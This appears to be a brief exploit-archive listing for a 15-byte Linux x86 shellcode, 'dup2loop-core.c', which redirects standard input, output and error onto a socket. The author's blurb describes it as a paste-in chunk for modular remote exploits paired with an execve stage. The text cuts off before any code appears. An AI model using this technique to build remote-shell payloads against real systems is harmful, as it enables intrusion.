linux/x86 dup20,0; dup20,1; dup20,2; 15 bytes
linux/x86 dup20,0; dup20,1; dup20,2; 15 bytes. Shellcode exploit for linx86 platform / dup2loop-core.c by Charles Stevenson I made this as a chunk you can paste in to make modular remote exploits. I usually combine this with an execve as the second stage of a read jmp %esp / char hellcode = /...